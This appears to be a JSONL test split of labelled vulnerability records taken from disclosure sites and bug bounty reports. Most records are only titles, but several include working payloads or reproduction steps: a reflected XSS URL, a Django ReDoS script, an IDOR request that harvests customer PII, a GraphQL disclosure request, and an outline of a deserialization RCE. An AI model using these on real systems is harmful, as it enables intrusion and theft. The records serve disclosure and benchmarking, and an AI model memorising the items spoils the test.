{"id": "043f98b197f3799c7067", "text": "ABB Cylon Aspect 3.08.01 Unauthenticated DB Download\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-11", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "8129509aa41da8c0dabf", "text": "ABB Cylon Aspect 3.08.03 (MIX->IPConfigServlet) Network Manipulation\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "a71e5f14eee59d44331a", "text": "ABB Cylon Aspect 3.08.02 (clearProjectConfigurationAjax.php) File Deletion\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-27", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "ef7ba9b432baacfb037b", "text": "ABB Cylon FLXeon 9.3.4 (cert.js) Authenticated Root Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-02-03", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "df4139a28f5777df74f4", "text": "ABB Cylon Aspect 3.08.01 (caldavUpload.php) Funkalicious Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-03-06", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "bb9dd427729ee6a8bb07", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "4f6d89af40494e9452c3", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "9f8080682a451655de57", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "84fbad1b963840b442f3", "text": "ABB Cylon FLXeon 9.3.4 Default Credentials\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-02-13", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "77c318a4a7de871fdea6", "text": "ABB Cylon Aspect 3.08.02 (tscConfiguration.php) Authenticated Reflected XSS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-12-10", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "39f5a421d661192c9ff9", "text": "[Business Logic Errors] Cloud Computer Hackerone Triager can be Accessible for everyone [h1_analyst_lucas+view@wearehackerone.com] computer\n\n==This report was reported to program #2262768 at the request of h1_analyst_shiva I re-reported it here==\n=========================================================================================\n\nhello dear \n\nI don't know if I should send this report to HackerOne or to █████████\n\nAlthough this is not a bug, but obviously a forgetfulness, but the impact will be very bad and great if the computer contains important and sensitive data and information that can be easily controlled by hackers and researchers and hacked be done\n\nI've been working on ████████ for a long time. Today I saw that the computer of one of the Triagers is online while we have a big time difference with Europe and the United States, so I was surprised to see this in this section\n```\n██████ RS1FIMUNSRVJGVFZLTl84NiIsImV2ZW50U3RhcnRUaW1lIjoxNzAwNzg0MTYyMzg1LCJoaWVyYXJjaHkiOiJzcmMiLCJvcmlnaW5Qcm9jZXNzU3RhcnRUaW1lIjoxNzAwNzg0MTYyMzIxLCJv cmlnaW5Qcm9jZXNzVW5pcXVlSWQiOiI1Rjk1QzJDNDY0RESERBRKRFIiwicHJvY2Vzc0deep3VwSWQiOiIxNTg4QjhDNDY0RESERBRKRFIn0%3D\n```\n\nWhen I went to the h1_analyst_lucas+view@wearehackerone.com site table, I saw that it was still online and you could use the remote shell to log in to the computer\n\n{F2881374}\n\nNote that I have not used any commands except these to verify my report\n\n```\nls\ncd ..\ncd  Users\nls\ndone\n```\n████████\n\n\nIn ████, it's normal for all users to see other people's computers, but I don't think it's normal for Hackerone staff and Triager \n\n███\n\n## Impact\n\nCloud Computer Hackerone Triager can be Accessible for everyone\n\n## Impact\n\nCloud Computer Hackerone Triager can be Accessible for everyone", "source": "hackerone", "timestamp": "2024-05-10", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "ea909634de0e53636df9", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "dfcf83facc60335f82db", "text": "Ksenia Security Lares WebServer Home Automation Default Credentials\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-03-31", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "1060081f9660c280f17d", "text": "Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Device Config\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-17", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "522c64a79832623c689f", "text": "Yep you can eat sandwich as barry", "source": "hackthebox", "timestamp": "2024-04-02", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "6355193e237dc2ffbcc1", "text": "ABB Cylon Aspect 3.08.02 (altlogin.php) Unauthenticated Reflected XSS\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-08", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "567a955e0a06435b07ce", "text": "[Cross-site Scripting (XSS) - Reflected] Reflective Cross Site Scripting (XSS) on ███████/Pages\n\n## Reflective Cross-Site Scripting (XSS)\nAn elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server. \nThe attacker to read content that the attacker is not authorized to read, use the victim's identity to take actions on the SharePoint site on behalf of the user, such as change permissions and delete content, and inject malicious content in the browser of the user.\n\n## System Host(s)\nhttps://██████████/Pages\n\n## Affected URLs in Scope\nhttps://█████████/Pages/default.aspx?FollowSite=0&SiteName=%27-confirm(%27XSSALERT%27)-%27\n\n## Affected Product(s) and Version(s)\nMicrosoft SharePoint Foundation 2013 Service Pack 1\n\n██████ \n\nReferences\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0255\n\n## CVE Numbers\nCVE-2017-0255\n\n## Steps to Reproduce\n\nInjecting this XSS payload containing allows a window to pop up as a result of the payload being executed.\n\n 1. Go to- \nhttps://████████/Pages/default.aspx?FollowSite=0&SiteName=%27-confirm(%27XSSALERT%27)-%27\n\n\n## Suggested Mitigation/Remediation Actions\nSanitize data input (to make sure the URL input does not contain any code) is loaded from well-defined endpoints.", "source": "hackerone", "timestamp": "2024-03-22", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "25778bea52265342074e", "text": "ABB Cylon Aspect 3.08.02 (clearProjectConfigurationAjax.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-27", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "70f107a4227c52d5926a", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "728834e527c7d75b3c45", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "3973658e4f480ddd4d92", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "e0bace558eca69e244f6", "text": "ABB Cylon Aspect 3.08.02 (aspectMemory.php) Arbitrary Heap Memory Configuration\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-12-13", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "706f2a4a2f907a9c22fa", "text": "Hello, could you help me? I’m stuck on: BROKEN AUTHENTICATION - Brute Forcing Passwords The question: Using rockyou-50.txt as password wordlist and htbuser as the username, find the policy and filter out strings that don’t respect it. What is the valid password for the htbuser account? I am sure that I have the password in a reduced list generated with grep, the problem comes when performing brute force, I have used burp but the server blocks me for 30 seconds and I have also used the rate_limit_check.py script but it does not work correctly… somebody could help me?", "source": "hackthebox", "timestamp": "2024-03-20", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "62399270260ba48ea171", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "666c7ca79be9de43056d", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "d7c7c2e5b1bd535257e1", "text": "[Uncontrolled Resource Consumption] CVE-2024-27351: Potential regular expression denial-of-service in django.utils.text.Truncator.words()\n\n# TL;DR\n\n**CVE-2024-27351**: Potential regular expression denial-of-service in `django.utils.text.Truncator.words()`\n\n# Details:\n\n`django.utils.text.Truncator.words()` method (with `html=True`) and `truncatewords_html` template filter were subject to a potential regular expression denial-of-service attack using a suitably crafted string (follow up to CVE-2019-14232 and CVE-2023-43665).\n\n- The `Truncator` class truncates text based on word count.\n- When the `html` flag is set, the internal `_truncate_html()` method is used.\n- This method relies on regular expressions stored in variables (`re_chars` and `re_words`) to perform the truncation.\n- These regular expressions are vulnerable to ReDoS attacks, which can cause significant performance degradation and denial-of-service.\n\n**PoC:**\n\n```python\n#!/usr/bin/env python3\nfrom django.utils.text import Truncator\nimport time\n\n\nMAX_LENGTH = 65535\n\npayload = '<' * MAX_LENGTH\nprint('[INFO] %d bytes of payload' % len(payload))\n\nstart_time = time.time()\nTruncator(payload).words(3, truncate='...', html=True) # BOOM!\nend_time = time.time()\n\nprint('[INFO] Truncator().words() took %lf seconds' % (end_time - start_time))\n```\n\nThe impact of this vulnerability may vary depending on the computing environment. In my tests using an AMD Ryzen 7 3700X with 32GB RAM, I observed a notable delay of approximately 40 seconds.\n\n## Impact\n\nAn attacker could exploit this vulnerability to:\n\n- Consume excessive server resources, causing performance degradation and potential service outages.\n- Delay application response times significantly.", "source": "hackerone", "timestamp": "2024-04-28", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "e629b48d6c01be05d422", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "3512b94457642a31162d", "text": "[Deserialization of Untrusted Data] Pickle deserialization vulnerability in XComs\n\nApache Airflow, versions before 2.8.1, have a vulnerability that allows a potential attacker to poison the XCom data by bypassing the protection of \"enable_xcom_pickling=False\" configuration setting resulting in poisoned data after XCom deserialization. This vulnerability is considered low since it requires a DAG author to exploit it. Users are recommended to upgrade to version 2.8.1 or later, which fixes this issue.\n\n## Impact\n\nFor this vulnerability, I think the severity of its impacts highly depends on whether it is possible some malicious tasks can poison the XComs data. Based on my understanding of Airflow's threat model, I have drafted two attacking scenarios for the exploit:\n4.1), we consider there is a DAG involving two isolated tasks belonging to two different task owners and running in two different machines/docks, saying an attacker's task running in the attacker's machine and a victim's task running in the victim's machine. In this case, the attacker can poison some XComs data and then exploit this vulnerability to bypass the protection of \"enable_xcom_pickling = False\" and get an RCE in the victim's machines when the victim's task pulls this poisoned XComs data.\n4.2), in case any attacker's task can poison some XComs data,  the web users who can view the XComs data by navigating via \"DAG->Run->Task->XCom\" in the web UI can deserialize the poisoned data for RCE. Or if the Airflow sets \"enable_xcom_deserialize_support = True\", the authenticated users can trigger the RCE by accessing the \"xcomEntries\" endpoint.\nI am not very sure whether the two attacking scenarios described above apply to your Airflow threat models and whether there are some more potential exploitable scenarios. However, we can see in the airflow.cfg, the comments for the key \"enable_xcom_pickling\" saying \"Whether to enable pickling for xcom (note that this is insecure and allows for RCE exploits).\", I thus believe the bypass of the  \"enable_xcom_pickling\" can more or less induce kinds of insecure matters in the use of Airflow.", "source": "hackerone", "timestamp": "2024-01-29", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "60be51c5399d8aa658c0", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "74575b37111b7b1b6eff", "text": "ABB Cylon Aspect 3.08.02 (WatchDogServlet) Authenticated Reflected XSS\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2024-12-24", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "e19d098a0f881220908b", "text": "ABB Cylon Aspect 3.08.02 (deployStart.php) Unauthenticated Command Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-30", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "320bc8425c0e5c511655", "text": "Ksenia Security Lares WebServer Home Automation URL Redirection\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-03-31", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "97d315f02ab205d795a1", "text": "ABB Cylon Aspect 3.08.00 (setTimeServer.php) Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-06", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "32caab6dab23b1bb7bf3", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "62cdf33db833869f709b", "text": "[Cryptographic Issues - Generic] Secure Client-Initiated Renegotiation\n\nRenegotiation can open the door to attacks. There are two primary worries:\n\nCVE-2009-3555: This vulnerability allows a “man-in-the-middle” attacker to inject data into an HTTPS session and execute requests on behalf of the victim. Refer to CVE-2009-3555 for more details.\n\nDenial of Service (DoS): Establishing a secure SSL connection requires more processing power on the server, around 15 times, than on the client. An attacker can exploit this processing-power property along with renegotiation to trigger hundreds of handshakes in the same TCP connection; an assault can bring down a 30Gb-link server using only a laptop and DSL connection.\n\nThe THC group demonstrated the DoS attack and released a tool, THC-SSL-DoS, as a proof of concept. An SSL DoS attack can be carried out without SSL renegotiation by simply establishing a new TCP connection for every new handshake. SSL renegotiation makes it very easy to carry out this DoS attack.\n\nReference Link : https://securingtomorrow.mcafee.com/technical-how-to/tips-securing-ssl-renegotiation/\n\nStep to reproduce :\n\nRun the following command in Open SSL : openssl s_client -connect lahitapiola.fi:443\n\nBelow is the POC screenshot :\n\n## Impact\n\nDOS Attack", "source": "hackerone", "timestamp": "2024-02-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "2e6181fb6ae75227eb67", "text": "[Unknown] CVE-2024-0853: OCSP verification bypass with TLS session reuse\n\nOriginal Report:https://hackerone.com/reports/2298922\n\n## Impact\n\nCWE-299: Improper Check for Certificate Revocation", "source": "hackerone", "timestamp": "2024-03-27", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "6c98793d19052e606107", "text": "Pachno 1.0.6 (uploadfile) Unrestricted File Upload Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-04-12", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "b64327efb0469de15d35", "text": "Logitech Streamlabs Desktop 1.19.6 (overlay) CPU Exhaustion\n\nSeverity: low", "source": "zeroscience", "timestamp": "2025-11-13", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "1cdd642afaa903a77d9e", "text": "ABB Cylon Aspect 3.08.03 (CookieDB) SQL Injection\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-06", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "ffd303c12ff1bf69d480", "text": "[Information Disclosure] Being able to disclose IBB bounty table of any public program\n\n**Summary:**\n\nHi there, I hope you are doing well :)\n\nAccording to  https://docs.hackerone.com/en/articles/8496298-internet-bug-bounty \n\n██████\n\nIt says \"You can opt-in by setting up your bounty table on your main program’s rewards settings page (instructions below). This bounty table is private and indicates how much you will award for vulnerabilities discovered in open-source projects\"\n\nWhich means the IBB bounty table is private but i was able to disclose IBB bounty table\n\n\n### Steps To Reproduce\n\n1.  Send this HTTP request:\n\n```HTTP\n\n\nPOST /graphql HTTP/2\nHost: hackerone.com\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0\nAccept: application/json\nContent-Type: application/json\nContent-Length: 157\nTe: trailers\n\n{\"query\":\"{\\r\\n  team(handle: \\\"security\\\") {\\r\\n\\r\\nibb_bounty_table {\\r\\n      critical\\r\\n      high\\r\\n      medium\\r\\n      low\\r\\n    }\\r\\n}\\r\\n}\\r\\n\"}\n\n```\n\nOR \n\nrun this curl command :\n\n\n```\n\ncurl -i -s -k -X $'POST' \\\n    -H $'Host: hackerone.com' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'Content-Length: 157' -H $'Te: trailers' \\\n    --data-binary $'{\\\"query\\\":\\\"{\\\\r\\\\n  team(handle: \\\\\\\"security\\\\\\\") {\\\\r\\\\n\\\\r\\\\nibb_bounty_table {\\\\r\\\\n      critical\\\\r\\\\n      high\\\\r\\\\n      medium\\\\r\\\\n      low\\\\r\\\\n    }\\\\r\\\\n}\\\\r\\\\n}\\\\r\\\\n\\\"}' \\\n    $'https://hackerone.com/graphql'\n\n```\nit will disclose IBB bounty table of Hackerone:\n\n█████\n\n## Impact\n\nPrivate information disclosure", "source": "hackerone", "timestamp": "2024-03-17", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "d56bc85485f2a6fd793a", "text": "ABB Cylon Aspect Studio 3.08.03 Insecure Permissions\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "4654572b51e9c55409fe", "text": "Pachno 1.0.6 Cross-Site Request Forgery\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-04-12", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "301f647dde6d5c444e78", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "2acb8466d4eeaa888855", "text": "[Improper Certificate Validation] CVE-2024-2466: TLS certificate check bypass with mbedTLS (reward request)\n\nFor reward request.\n\nPlease refer to this report issue from curl:\nhttps://hackerone.com/reports/2416725\n\nAnd already published at here:\nhttps://curl.se/docs/CVE-2024-2466.html\n\n## Impact\n\nReference from above.", "source": "hackerone", "timestamp": "2024-03-29", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "d1875de2ba674a40d0ef", "text": "ABB Cylon Aspect 3.08.03 (MapServicesHandler) Authenticated Reflected XSS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-01-06", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "60db398c08022f6efddf", "text": "===============\n\nClass: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "2bce2464bc8ffaada50d", "text": "eNet SMART HOME server 2.3.1 (resetUserPassword) Account Takeover\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-02-14", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "0c1713a206b5d41e00fd", "text": "ABB Cylon Aspect 3.08.03 (Java/PHP) Log Forging\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "87e1ea9245dd3109ea68", "text": "To capture the flags using the tomcat with reverse shell approach, pay attention to the files under directory /etc/tomcat9/ , you can get the password for tomcatadm there. Another simpler approach is to attack the Polkit vulnerability with CVE-2021-4034. You may download the CVE-2021-4034.py and transfer to the target and execute the script, you get the root shell there. Screenshot 2024-08-19 at 7.18.57 PM 1470×834 70.8 KB", "source": "hackthebox", "timestamp": "2024-08-20", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "9ef4c90512a276c0237c", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "81f309693d08be562b68", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "3d73e649b32a8db72ab2", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "3434ab309cce98fbd604", "text": "ABB Cylon Aspect 3.08.02 (logYumLookup.php) Authenticated File Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-24", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "b2f0a693ecdd3aee7de1", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "9c7cd081afe49051ac75", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "2e2c65649bddbfc1880b", "text": "Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Device Config\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-17", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "51ff3fb3f863bfaf21eb", "text": "Abusing HTTP HEAD for Java Deserialization RCE (CVE-2025-12059)\n\nCVE-2025-12059 CWE-502, 538 Unauthenticated Java Deserialization RCE via HTTP HEAD Request Date: 2025-10-04 Severity: Critical (CVSS v3.1 = 9.8 ) (Full system compromise risk) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Etki Kapsamı: Startupv3.29.6.4 Finder : Enay Sınıflar: com.lbs.start.JLbsStartup , com.lbs.start.SocketToken https://www.cve.org/cverecord?id=CVE-2025-12059 The application uses the DOCUMENT_URI parameter contained in the JNLP file within the client-server flow and reads the request body returned from this URI/endpoint regardless of the HTTP method (including HEAD ) and deserializes it using ObjectInputStream.readObject() . As a result, even without authentication, an attacker can carry a serialized body via a HEAD request, trigger a gadget chain on the server side, and obtain RCE . This behavior can be confused with the fact that the HTTP standard specifies that a HEAD response should not contain a body; however, if the request body is read at the application layer due to an incorrect design, a methodagnostic flow emerges including HEAD and the deserialization chain works in the same way. In practice, the chain operates as follows: The JNLP provided by the client includes DOCUMENT_URI as an application startup parameter; this parameter is transferred to the server-side web component, where the relevant handler/servlet consumes the request body using request.getInputStream() without performing any method checks . The stream is then passed to a service layer and reaches a new ObjectInputStream(in).readObject() call. During deserialization, a gadget chain linked to class loading and readObject() entry points is executed, allowing command execution. Therefore, when an attacker places a payload.ser file generated with ysoserial into the body of a HEAD request with the header Content-Type: application/x-java-serialized-object , even if the endpoint is invoked with HEAD instead of POST/PUT, the content is still deserialized and commands are executed due to the application’s method-agnostic body processing . Small-sized HEAD requests may return 200 OK and serve the JNLP, indicating that the endpoint processes HEAD and at least partially consumes the body. From a root cause perspective, the issue can be grouped under two main headings: Input security: The application passes an unvalidated input stream without enforced data type constraints directly to ObjectInputStream.readObject() . Defenses such as class allowlists or object filters (JEP-290) are either absent or ineffective. HTTP semantics violation: At the handler/filter/servlet layer, the application does not differentiate body processing based on the HTTP method. In doHead or a shared service branch, getInputStream() is consumed unconditionally; this makes it meaningful and exploitable to carry a body even with HEAD requests. Remote code execution is possible over the network without authentication. In the configuration used to verify the vulnerability, Java 8 (with JNLP startup on the IcedTea-Web/javaws side), Startupv3.34.8.3.jar serving as the client bootstrap component, and an Apache-Coyote/Tomcat stack on the backend were present. A WAF/405 response was later added after the CVE assignment; although this blocks some PoC variants, it is not a permanent solution as long as the deserialization code remains in place. Technical Evidence The content of runapp.jnlp directly redirects to the startup.jar file; I followed the relevant link, downloaded the JAR file to my system, decoded it, and analyzed it. Within the JAR, calls to com.lbs.start.SocketToken / new ServerSocket(port) and ObjectInputStream.readObject() directly invoke readObject() on the incoming socket. /* 211 */ listenThread = new Thread(new Runnable() /* */ { /* */ public void run() /* */ { /* 215 */ Socket connection = null; /* 216 */ ObjectOutputStream out = null; /* 217 */ ObjectInputStream in = null; /* 218 */ String message = null; /* */ /* */ /* */ while (true) { /* */ try { /* 223 */ connection = SocketToken.ms_Instance.accept(); /* ", "source": "0x00sec", "timestamp": "2026-03-10", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "ca2071e1b6bbf0e78182", "text": "ABB Cylon Aspect 3.08.01 (servicesUpdate.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-06", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "f75e5e23fba499b713b3", "text": "[Insecure Direct Object Reference (IDOR)] PII Disclosure At `theperfumeshop.com/register/forOrder`\n\n## Summary:\n\nHello there! I found a way to accesing any user's PII (full address, phone number, full name, ** all orders**, payment details [if the victim already saved before] )  who created a order in The Perfume Shop. \n\nThis is happening via https://theperfumeshop.com/register/forOrder endpoint. I realized this endpoint after the guest checkout process was completed.\n\n## Steps To Reproduce:\n\n1. Open https://theperfumeshop.com website on your browser ( do not login to any account ).\n2. Go to a product and add to your basket then, get your CSRF token and cookies.\n3. Find a order ID who you want to attack. You can try with my order ID: `664448593`\n4. Repeat this request on Burp Suite after replacing with the CSRF token, cookies, an email that not registered before and the order ID of the victim:\n\n```http\nPOST /register/forOrder HTTP/2\nHost: www.theperfumeshop.com\nCookie: █████\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: █████checkout/orderConfirmationByReferenceId/PROD_00000000000\nContent-Type: application/x-www-form-urlencoded\nOrigin: https://www.theperfumeshop.com\nDnt: 1\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\n\norderCode=[order-id-of-victim]&email=[put-here-random-email]&associateCard=yes&termsCheck=1&dateOfBirth.day=██████████&dateOfBirth.month=█████████&dateOfBirth.year=███&pwd=███&checkPwd=██████&CSRFToken=[csrf-token-here]\n```\n\nYou'll see `Location: ███████serverError` on response, this meant attack succesfully completed.\n\n5. Go to ████████login page and login with the random email that you put in the request and this password -> `████`. \n6. After succesfully logged into the account, check addressses, orders and personal information.\n\nHere's a proof of concept:\n\n██████\n\nAlso, I set this report severity to Critical because CVSS calculator's response and comment of @lesswood in the #1542373:\n\n> ███████\n\n\nSo, since I can easily harvest PII (full address, phone number, full name, ** all orders**, payment details [if the victim already saved before] ) and take over a system (can delete orders from victim's own account) without any privileges.\n\n## Impact\n\nAccesing any user's PII (full address, phone number, full name, ** all orders**, payment details [if the victim already saved before] )  who created a order in The Perfume Shop.", "source": "hackerone", "timestamp": "2024-01-23", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "a21c5e82fd767569f055", "text": "ABB Cylon Aspect 3.08.01 (mapConfigurationDownload.php) Config Download\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "decdf246858ca8823e8d", "text": "[Uncontrolled Resource Consumption] CVE-2024-2398: HTTP/2 push headers memory-leak\n\n## Summary:\nFor each incoming `PUSH_PROMISE` header a new `name:value` string is allocated \nand the pointer to that string is stored in the `stream->push_headers` array.\n\n```\nh = aprintf(\"%s:%s\", name, value);\n    if(h)\n      stream->push_headers[stream->push_headers_used++] = h;\n```\n\nLibcurl will reject `PUSH_PROMISE` frames with too many headers.\nWhen the number of headers exceeds some threshold, `on_header` returns an error.\nHowever, libcurl forgets to free the `stream->push_headers` array elements before `stream->push_headers` is freed.\nA malicious server may continuously send `PUSH_PROMISE` frames with over 1000 headers, which would eventually consume all available memory.\n\nThe same issue exists when `Curl_saferealloc` fails.\n\n```\n if(stream->push_headers_alloc > 1000) {\n        /* this is beyond crazy many headers, bail out */\n        failf(data_s, \"Too many PUSH_PROMISE headers\");\n        Curl_safefree(stream->push_headers);\n        return NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE;\n      }\n      stream->push_headers_alloc *= 2;\n      headp = Curl_saferealloc(stream->push_headers,\n                               stream->push_headers_alloc * sizeof(char *));\n      if(!headp) {\n        stream->push_headers = NULL;\n        return NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE;\n      }\n```\n\n\n## Steps To Reproduce:\n\n  1. compile `nghttp2` with {F3099659} applied\n  1. compile {F3099658}\n  1. run `nghttpd -p/=/foo.bar --no-tls 8181`\n  1. run `valgrind --leak-check=full http2_push_promise`\n\nfor each `-p` option `nghttpd` will send 200 `PUSH_PROMISE` frames, each with 1280 headers (not counting pseudo headers)\n\n## Supporting Material/References:\n`valgrind --leak-check=full http2_push_promise` output:\n```\n==13928== \n==13928== HEAP SUMMARY:\n==13928==     in use at exit: 8,285,018 bytes in 256,674 blocks\n==13928==   total heap usage: 261,567 allocs, 4,893 frees, 12,766,009 bytes allocated\n==13928== \n==13928== 64 bytes in 2 blocks are possibly lost in loss record 2 of 10\n==13928==    at 0x48436C4: malloc (vg_replace_malloc.c:392)\n==13928==    by 0x4889F45: dyn_nappend (dynbuf.c:107)\n==13928==    by 0x488A2C5: Curl_dyn_addn (dynbuf.c:170)\n==13928==    by 0x48C393E: alloc_addbyter (mprintf.c:1065)\n==13928==    by 0x48C2FF9: dprintf_formatf (mprintf.c:852)\n==13928==    by 0x48C39FF: curl_mvaprintf (mprintf.c:1095)\n==13928==    by 0x48C3AF0: curl_maprintf (mprintf.c:1110)\n==13928==    by 0x48B0F86: on_header (http2.c:1467)\n==13928==    by 0x4C310C1: nghttp2_session_mem_recv (in /usr/lib64/libnghttp2.so.14.25.1)\n==13928==    by 0x48AE62B: h2_process_pending_input 